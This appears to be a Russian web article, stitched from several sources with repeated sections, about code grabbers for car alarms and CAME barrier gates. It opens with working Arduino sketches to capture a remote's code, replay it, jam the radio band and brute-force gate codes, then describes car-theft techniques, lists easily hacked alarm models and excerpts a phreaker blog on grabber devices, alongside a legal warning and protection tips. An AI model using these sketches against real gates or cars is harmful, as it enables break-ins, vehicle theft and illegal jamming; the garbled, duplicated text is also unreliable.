Что такое кодграббер и как от него защититься

В этой статье разберем:

1. Как считать код пульта.2. Как послать код с arduino на открытие шлагбаума3. Как заглушить сигнал4. Как перебором подобрать код для открытия шлагбаумаю

Ссылка на приемник и передатчик: http://ali.ski/S699BvСсылка на пульт came: http://ali.ski/-jEW2

1. скетч на считывание кода с пульта:

#define RX 2 #define TIMER_DIV volatile byte level=255; volatile unsigned long last, len; byte p_level; unsigned long p_len, p_len_prev; struct { uint8_t state; uint8_t data, dat_bit; } came; void set_bit(uint8_t *data, uint8_t n) { data[n/8]|=1<<(n%8); } #define CM_MAX_TE 450 #define CM_MIN_TE 250 #define CM_BITS12 12 #define CM_BITS24 24 void process_came() { unsigned char b; switch(came.state) { case 0: if(p_level) break; came.state=1; break; case 1: //start if(!p_level) break; else if(p_len>=CM_MIN_TE && p_len<=CM_MAX_TE) { came.state=2; came.dat_bit=0; came.data=0x00; came.data=0x00; came.data=0x00; } else came.state=0; case 2: //dat if(p_level) { if(came.dat_bit==CM_BITS24) { came.state=0; break; } if(p_len_prev<=CM_MAX_TE && p_len_prev>=CM_MIN_TE && p_len<=CM_MAX_TE*2 && p_len>=CM_MIN_TE*2) b=0; else if(p_len_prev<=CM_MAX_TE*2 && p_len_prev>=CM_MIN_TE*2 && p_len<=CM_MAX_TE && p_len>=CM_MIN_TE) b=1; else { came.state=0; break; } if(b) set_bit(came.data, came.dat_bit); came.dat_bit++; break; } else { if((p_len>5000)&&(came.dat_bit==CM_BITS12 || came.dat_bit==CM_BITS24)) came.state=100; } break; } } void dump_hex(byte *buf, byte bits) { byte b; for(b=0; b>(bits+7)/8; b++) { if(buf>0x0f) Serial.print(‘0’); Serial.print(buf, HEX); Serial.print(” “); } Serial.println(“”); } void rx_int() { if(level!=255) return; len=micros()-last; last=micros(); if(digitalRead(RX)==HIGH) level=0; else level=1; } void setup() { attachInterrupt(0, rx_int, CHANGE); Serial.begin(115200); while(!Serial); Serial.println(“MEGA ARDUINO LOGGER”); Serial.println(“”); interrupts(); } byte b; void loop() { if(level!=255) { noInterrupts(); p_level=level; p_len=len; len=0; level=255; interrupts(); process_came(); p_len_prev = p_len; } if(came.state==100) { Serial.print(came.data,HEX); Serial.print(came.data,HEX); Serial.print(came.data,HEX); //Serial.print(“CAME: “); dump_hex(came.data, came.dat_bit); came.state=0; } }

2.Посылаем код с помощью передатчика:

#define txPin 8#define Te 320void setup(){ pinMode(txPin, OUTPUT);}void loop(){ SendCame(0b111111111111);}void SendCameBit(byte b){ delayMicroseconds(Te); if (!b) digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);}void SendCame(long Code){ for (int j=0;j<5;j++) // посылку посылаем как и брелок – 4 раза подряд. { digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);// посылаем стартовый импульс for (byte i=12;i>0;i–){ SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код } delay(16); } delay(2000); // сделать паузу после посылки на 2 с}

3. Делаем глушилку сигнала:

void setup() { pinMode(8, OUTPUT); }void loop() {digitalWrite(8, HIGH);delayMicroseconds(500);digitalWrite(8, LOW);delayMicroseconds(500);}

4. Делаем перебор кодов пульта от шлагбаумов Came:

#define txPin 8#define Te 320int led = B00000001;int led2 = B1000;void setup(){ pinMode(txPin, OUTPUT);} void loop(){ // SendCame(0b100010001111); // delay(2000); // SendCame((B1110 * 256) + B10101010); // delay(5000); SendCame((led2 * 256) + led); led = led + B1; // delay(1000); if (led==11111111) {led2 = led2 + B1; }} void SendCameBit(byte b){ delayMicroseconds(Te); if (!b) digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);} void SendCame(long Code){ for (int j=0;j<5;j++) // посылку посылаем как и брелок – 4 раза подряд. { digitalWrite(txPin,HIGH); delayMicroseconds(Te); digitalWrite(txPin,LOW);// посылаем стартовый импульс for (byte i=12;i>0;i–){ SendCameBit(bitRead(Code, i-1)); // побитово перебираем и посылаем код } delay(16); } delay(500); // сделать паузу после посылки на 2 с}

Ссылка на архив со скетчами:  https://yadi.sk/d/vywdKVjN39qYt5

По каким диалоговым принципам работает защита радиоканала?

Связь двустороннего типа предоставила несколько прекрасных возможностей для использования новых алгоритмов кодирования, которые основаны на диалоговой системе запросов-ответов. Принципы диалоговой системы с довольно быстрыми темпами сумели набрать популярность благодаря широкому спектру положительных особенностей, которые являются скрытыми при сеансах приёма радиоволн. Помимо того, что код является очень стойким, наблюдается ещё и дополнительное преимущество – обмен полезными данными в период прохождения авторизации. Следующим преимуществом кодов диалогового типа можно вполне оправданно считать то, что отсутствует необходимость в проведении синхронизационного процесса для счётчиков. Подобная процедура осуществлялась в обязательном порядке на системе с односторонним динамическим кодом.

Синхронизация счётчиков использовались в основном злоумышленниками, чтобы реализовывать подмену кодировки. Большинство производителей автомобилей уже давно используют коды диалогового типа при создании своих «четырёхколёсных творений». Первый переход на сигнализации подобного виды был осуществлён ещё в две тысячи шестом году. Однако требования, предъявляемые сервисом, не дают возможности говорить касательно абсолютной правильности решений подобного рода, потому как любая штатная система должна обладать сервисным каналом, чтобы была возможность обхода даже самого совершенного кода.

Главной особенностью автосигнализаций, имеющих связь двустороннего типа, является функция передачи определённых данных, которые связаны с охранной системой транспортного средства, на радиопередатчик. Расстояние, на котором осуществляется процесс передачи, может составлять около тысячи четырёхсот метров. У сигнализационных устройств подобного плана имеются пульты дистанционного управления, оснащённые ЖК-дисплеем. Радиопередатчик осуществляет контроль над сигнализационным устройством, а также над уровнем обеспеченности автомобиля охраной. Пульты дистанционного управления предоставляют пользователю всю информацию, которая подаётся в качестве пиктограмм-символов. Автомобильные сигнализации диалогового типа бывают различных видов.

Процесс установки диалоговых систем охраны, обладающих ДЗ (дистанционный запуск) двигателя, принимает во внимание огромное количество различных нюансов. Даже при очень низких температурах автомобильный салон будет наполнен тёплым воздухом, двигатель окажется прогретым

Активация машинного двигателя производится обычно либо при помощи брелока, находясь на неблизком расстоянии от своего авто, либо автоматическим образом. Пользователь может провести установку таймера, который производит обратный отчёт. Когда время кончится, то происходит автоматическая остановка двигателя. Пользователь волен произвести установку таймера, который после истечения определённого периода времени даст сигнал для автоматической остановки.

Осуществление установочного процесса сигнализаций для автомобилей, работающих на базе диалоговой связи, подходит для любого транспортного средства. Обладают они очень низким уровнем приспособленности к двигателям карбюраторного план, потому что во время зажигания можно приближаться к повышенным оборотам, и вытягивать рукоятку подсоса.

Принцип работы такой сигнализации для авто

Как же работает такая защита? Алгоритм построен следующим образом:

  1. Владелец автомобиля жмет на кнопку для постановки или снятия машины с сигнализации.
  2. Брелок формирует запрос на определенное действие и направляет его к блоку управления.
  3. Блок управления по факту запроса формирует числовой код (к примеру, 808) и направляет его на брелок.
  4. Пульт управления получает сигнал и направляет полученный код в обратном направлении.
  5. Блок управления принимает сформированный ранее код, сравнивает его и при совпадении чисел выполняет поданную команду.

Весь процесс лишь на словах длительный. На самом деле он занимает доли секунды.

Таким образом, диалоговый код — специальный пароль (шифр), который генерируется блоком управления и направляется к пульту.

Кроме ведения диалога, у данной сигнализации есть еще одно преимущество — регулярное изменение паролей при каждом снятии (постановке) машины на охрану.

Как следствие, числовой код все время меняется (является динамичным).

Сигнализация STARLINE и ее функции для противоугонных систем

Сигнализация, как сообщают производители, имеет ряд особенностей, которые не допускают несанкционированный запуск двигателя и отключение сигнализации.

Starline имеет несколько зон защиты:

  • включается реле блокировки двигателя;
  • выключения дверей, капота багажника
  • установлены датчики, реагирующие на разбитие стекла.
  • усовершенствованна система контроля.
  • устанавливается блокировка ручного тормоза.


Как сообщается в инструкции системы Starline, есть сведения о защищенности сигнализации от взломов. Так система имеет:

  • защиту сигнала от перехвата сигнала алгоритмическим кодом;
  • сигнал тревоги с ограниченным количеством циклов;
  • прерывание сигнала тревоги без выключения блокировки основных зон автомобиля;
  • Индивидуальный код доступа для отключения;
  • Сохранение настроек системы сигнализации, в случае отключения питания.

Есть несколько функций Starline, которые могут ввести угонщика в заблуждение:

  • Система антиограбление и с имитацией неисправности зажигания и двигателя;
  • Режим «паника»;
  • Блокировка двигателя;
  • Световые и звуковые тревоги водителя.

На чем основывается действие код-граббера

Если раньше код-граббер перехватывал сигнал на основании длинных или коротких импульсов. Сейчас, в связи разработчики противоугонных систем, в том числе, и сигнализации Starline создают системы с динамическим кодом.

Код-граббер также прошел эру эволюции, и так появились датчики «с замещением». Такой прибор имеет более сложный принцип работы. При возникновении кода, исходящего от брелка владельца к охране автомобиля, код-граббер записывает этот код, при этом блокирует его допуск к машине. Благодаря этому угонщик может снять сигнализацию. Если это удалось сделать, замки можно разблокировать и отогнать машину в укрытие. На месте открывается капот, меняется компьютер под капотом, приборная панель и компоненты автомобиля, в которых прописывают чип ключа. После того, как эти компоненты заменены «на свои» автомобиль можно заводить своим ключом.

Не обязательно взлом сигнализации Starline может сопровождаться использованием код-граббера. Есть другой способ, более грубый, его в народе так и называют ломовой. Грабители включают генератор рабочей частоты, который создает помехи работы системы включения зажигания. Владелец автомобиля попросту не может включить сигнализацию, и в конце-концов, оставляет автомобиль, закрывая его на ключ без включенной системы защиты.

Дождавшись, пока водитель уйдет, грабители производят обычный взлом замка и угоняют автомобиль в место укрытия. Но ломовой метод в наши дни редко срабатывает, поэтому лучше изучить вопрос по взломам при помощи код-граббера.

Способы защиты от угона

Для защиты от взлома сигнализации код-граббером, необходимо иметь брелок без обратной связи с ограниченным радиусом действия волн

И вдруг угонщик будет находиться где-то рядом, пытаясь взломать код защиты, он все равно привлечет к себе внимание. Как мы помогаем мошенникам угнать автомобиль

  1. За счет работы автозапуска увеличивается расход топлива, но зимой данная функция весьма кстати. Однако с установкой таймера работает еще и против вас – на руку мошенникам.
  2. При нажатии кнопки сигнализации, она автоматически цепляет посторонний сигнал, основательно проверяющий ваш брелок. Хватит 30 секунд для того, чтобы грабитель приблизился к машине и нажал кнопку граббера, пока водитель открывает ее дверь. Владелец авто паникует и жмет все кнопки сразу, а код-граббер в это время захватывает и сохраняет всю полученную информацию. Получается так, что основной источник автоматически сам отправляет информацию о том, какая кнопка нажата.
  3. Устройство с одной кнопкой мошенникам лучше всего взломать. При выключении кнопки для остановки сигнала тревоги, граббер вполне может перехватить код и понять его как сигнал для разблокировки автомобиля. Код содержит в себе информацию таким образом, будто бы с помощью этого же сигнала можно вскрыть транспортное средство. Подменить сигнал удается менее чем за 1 секунду, и владелец машины этого просто не замечает.

Лучше всего использовать сигнализацию с динамическим кодом управления, что представляет собой более устойчивую и пригодную для применения в автомобиле защиту. Она представлена в виде специального алгоритма шифрования, разработанного в 80-е гг. 20 века.

Поделитесь:

Сигнализация STARLINE и ее функции для противоугонных систем

Сигнализация, как сообщают производители, имеет ряд особенностей, которые не допускают несанкционированный запуск двигателя и отключение сигнализации.

Starline имеет несколько зон защиты:

  • включается реле блокировки двигателя;
  • выключения дверей, капота багажника
  • установлены датчики, реагирующие на разбитие стекла.
  • усовершенствованна система контроля.
  • устанавливается блокировка ручного тормоза.


Как сообщается в инструкции системы Starline, есть сведения о защищенности сигнализации от взломов. Так система имеет:

  • защиту сигнала от перехвата сигнала алгоритмическим кодом;
  • сигнал тревоги с ограниченным количеством циклов;
  • прерывание сигнала тревоги без выключения блокировки основных зон автомобиля;
  • Индивидуальный код доступа для отключения;
  • Сохранение настроек системы сигнализации, в случае отключения питания.

Есть несколько функций Starline, которые могут ввести угонщика в заблуждение:

  • Система антиограбление и с имитацией неисправности зажигания и двигателя;
  • Режим «паника»;
  • Блокировка двигателя;
  • Световые и звуковые тревоги водителя.

ПРОИЗВОДСТВО и РАСПРОСТРАНЕНИЕ настоящих снифферов НЕЗАКОННО!

Статья 138 часть 1 уголовного кодекса: незаконное производство, приобретение или продажа спец. средств, для тайного получения информации. Карается лишением свободы до 4 лет.

К таким средствам относятся не только аппаратура для прослушки, но и перехват информации с технических каналов связи. Т.е. все чужие (не ваши) автосигнализации и системы управления доступом такие, как ворота, шлагбаумы и домофоны законом запрещено прослушивать.

Хочу всех предостеречь. У вас как у пользователя шлагбаума или автоматических ворот может возникнуть чувство ложной безопасности. При этом проникнуть на участок вашего загородного дома или вывезти со склада материальные ценности может оказаться не так сложно. С помощью данного самодельного девайса вы можете протестировать свою систему на безопасность.

Помните, подключая приемную антенну вы сможете читать чужие коды, а это может привести к уголовной ответственности. Берегите себя и своё имущество и не нарушайте закон.

Механическая защита автомобиля

 

Также вы можете приобрести еще и дополнительную охранную систему. Например, лучшим решением для вас будет установка в салоне машины механической защиты — т.е. установить замок на руль, на блокиратор коробки передач, на блокиратор педали тормоза и т.д. и т.п. защиту. В том числе вы можете приобрести дополнительно специальный зажим для колес. 

Установив механическую защиту на автомобиль вы соорудите тем самым преступникам еще один дополнительный барьер и тем самым создадите сложности для угона вашей машины. Ведь получив доступ в салон автомобиля при помощи специального оборудования они (т.е. угонщики) столкнутся с механической защитой, сломать которую им потркбуется дополнительное время. Скорее всего в этом случае угонщики просто ретируются, поскольку для них появляются новые и неоправданные риски. 

Топ самых взламываемых таким образом сигнализаций

Практически любую модель автосигнализации сканер может обезвредить. Особенно это касается штатных систем, с которыми машины выходят с конвейера. Но и дополнительные сигнализационные устройства не всегда могут устоять от взлома.

Такие перечни регулярно меняются, так как постоянно обновляется ассортимент продукции. В топ взламываемых моделей попадают такие названия, как Sherif, Alligator, A.P.S., Jaguar, Chelendger, Pantera, Mongouse, Duplex, Teea, Black-Bug super, Cenmax, Bruin и так далее. Это может быть весь модельный ряд или отдельные модели. Чаще всего взламываются дополнительные брелки.

Как защитить машину от угона при помощи имболайзера Старлайн. Обходчик системы

Под имобилайзером подразумевается устройство для обездвиживания автомобиля во время угона. Проблема в том, что иммобилайзер может не только защитить ваш автомобиль, но и мешать, например, в установке автозапуска сигнализации.

Для такого устройства придуман обходчик, позволяющий даже без ключа запускать двигитель автомобиля.

Хотя, как заявляют эксперты, каждый обходчик подходит только к индивидуальному ключу. Тем не менее, есть гроза, что устройство могут подобрать. В связи с усовершенствованием технологии сигнализации и перехода с 40-битного на 80 битный шифр, обходчик подобрать в наши дни значительно труднее.

Скетч и Библиотеки

Скетч найдёте на странице проекта на GitHub. Для чтения радиопультов я не использую библиотеки библиотеки типа RC-switch или radiobutton. Скетч достаточно универсален самостоятельно распознает любой цифровой повторяющийся сигнал содержащий до 160 переключений и содержащий защитные паузы от 5 до 30 мс. При этом фиксируется длительность единицы и нуля, полярность сигнала, наличие преамбул и дополнительных бит. Полученные данные скетч может сохранять в EEPROM и синтезировать на их основе исходный сигнал.

  • Скетч и библиотека OLED дисплея
  • Библиотека GyverButton

Не забудьте нажимать reset на ардуино как только закончится компиляция скетча и появится надпись «Загрузка». Этот программатор автоматом не посылает сигнал ресет.

MAGIC RING (EXCELLENT)

В компании MAGIC RING пошли «своим» путем и разработали собственную систему кодировки радиоканала на основе алгоритма KEELOQ — в данном алгоритме производитель применил уникальный ключ шифрования и ввел временное изменение номера посылки. Сделано это было как раз для борьбы с кодграбберами. Идея следующая: в отличие от протокола KEELOQ, где смена кода происходит при каждом нажатии кнопки брелка, здесь смена кода происходит через определенное (довольно короткое) время. Так же поступает и брелок. Запись код-граббером сигналов брелка становится бессмысленной — все записанные сигналы для системы станут «старыми» и будут ей отвергнуты.

Code Grabber — что это?

Кодграббер для авто применяется для обмана электронной системы защиты от угона транспортного средства. Такие средства придуманы изначально с хорошей целью — получать доступ к автомобилю сотрудникам сервисных служб в случае поломок и отказа сигнализации подчиняться командам брелка. Затем их начали приобретать угонщики самих машин или просто для открытия авто и кражи различных вещей, находящихся в салоне.На крупных стоянках стоят люди с устройствами кодграбберами и ждут, когда владелец автомобиля нажмет на кнопку постановки сигнализации. Они также активируют граббер в момент активации автомобильной сигнализации и электронное устройство «вор кода» запоминает посылаемый брелком код, которым можно воспользоваться потом для вскрытия авто.

Почти все виды автомобильных сигнализаций не могут защититься от считывания кода посторонним устройством. Возможно, самые дорогие марки и модели сигналок имеют специальное шифрование, которое способно маскировать свои передаваемые и получаемые сигналы.

Так как радиус действия кодграббера 150 метров, то поймать человека с граббером трудно, тем более в центре густонаселенного города.

Фрикер Клуб

Архив

Архив раздела ‘Кодграббер’

Одна из самых распространенных кодировок – встречается на форуме в таких изделиях как ИМИТАТОР от CodePerfect на железе Олега, МЕГА-АНАЛИЗАТОР от RUSSO_TURISTO, в прошивке Joker для железа Олега, в прошивках для ZX940.

В большинстве изделий представляет собой или случайный выброс шифрованной части (hop) (имитацию) сигнала или просто определение типа кодировки.

Вопрос – возможно ли воспроизвести сигнал открытия автоматике nice flor-s обычными средствами – т.е. без обращения к китайцам для распила проца чтобы узнать хитрый алгоритм?

Читать далее…

Categories: Arduino, Форматы пакетов, Шлагбаумы и ворота Tags:

Сегодня я хочу предложить фрикерскому сообществу приложение KG Control для android смартфонов, при помощи которого можно будет управлять грабом без проводов, только по средствам bluetooth.

Нам понадобятся следующие вещи: — смартфон с Android’ом 4.0.3 и выше. — Arduino Nano (ATmega328) — блютус модуль(например, я использовал HC-05) — приёмник и передатчик

— светодиоды и резисторы

Читать далее…

Categories: Android, Arduino, Кодграббер, Фрикерские штучки Tags:

При изготовлении устройства 409, 502, возникает по сути единственная сложность, это ослепление приемника после глушения. Это явление вызвано тем, что после «глушения» есть промежуток времени когда приемник не способен принимать сигнал, потому что, его чувствительность резко упала (характерно не для всех приемников). Это очень неприятно, во-первых сбивается синхронизация приема, а во-вторых время «слепоты» может быть слишком большое. Для эффективного использования методов 409 и 502, необходимо знать время «слепоты» (или время восстановления после глушения) своего устройства. Про мой способ замера и пойдет речь в этой статье.

Читать далее…

Categories: Устройства 409 и 502 Tags:

Кодировка Princeton, используется в беспроводных пультах управления электроприборами, радиозвонках и прочих бытовых девайсах. Частота работы в нашей стране ASK 433,92 MHz, а вот за бугром еще и на частоте 315 MHz.

Статья нацелена на начинающих фрикеров

На чем основывается действие код-граббера

Если раньше код-граббер перехватывал сигнал на основании длинных или коротких импульсов. Сейчас, в связи разработчики противоугонных систем, в том числе, и сигнализации Starline создают системы с динамическим кодом.

Код-граббер также прошел эру эволюции, и так появились датчики «с замещением». Такой прибор имеет более сложный принцип работы. При возникновении кода, исходящего от брелка владельца к охране автомобиля, код-граббер записывает этот код, при этом блокирует его допуск к машине. Благодаря этому угонщик может снять сигнализацию. Если это удалось сделать, замки можно разблокировать и отогнать машину в укрытие. На месте открывается капот, меняется компьютер под капотом, приборная панель и компоненты автомобиля, в которых прописывают чип ключа. После того, как эти компоненты заменены «на свои» автомобиль можно заводить своим ключом.

Не обязательно взлом сигнализации Starline может сопровождаться использованием код-граббера. Есть другой способ, более грубый, его в народе так и называют ломовой. Грабители включают генератор рабочей частоты, который создает помехи работы системы включения зажигания. Владелец автомобиля попросту не может включить сигнализацию, и в конце-концов, оставляет автомобиль, закрывая его на ключ без включенной системы защиты.

Дождавшись, пока водитель уйдет, грабители производят обычный взлом замка и угоняют автомобиль в место укрытия. Но ломовой метод в наши дни редко срабатывает, поэтому лучше изучить вопрос по взломам при помощи код-граббера.

Какие типы кодов защиты в автосигнализациях существуют?

Давайте вспомним, какими бывают сигнализации по типу защитных кодов.

Здесь есть следующие варианты:

1. Статический код управления.

Устройства с таким кодом относятся к категории бюджетных моделей и имеют наименьшую цену.

Как уже упоминалось, такие сигнализации сняты с выпуска из-за невысокой надежности.

Главный минус — риск перехвата кода и последующего его применения для взлома автомобиля.

2. Динамический код управления.

Особенность систем на таком принципе действия — меняющийся код, который формируется при каждом нажатии на кнопку.

Такой сигнал также несложно перехватить, но вот использовать его по назначению сложнее — много времени пойдет не декодировку сигнала и последующий взлом автомобиля.

3. Диалоговый код управления и обмен сигналами.

Главный плюс такого устройства — «привязка» сигнализации к определенному блоку управления.

В процессе обмена сигналами происходит сверка идентификационного кода, после чего «мозг» принимает решение — прекращать или продолжать обменный процесс.

Рейтинг
( Пока оценок нет )
Editor
Editor/ автор статьи

Давно интересуюсь темой. Мне нравится писать о том, в чём разбираюсь.

Понравилась статья? Поделиться с друзьями:
Master Plus
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: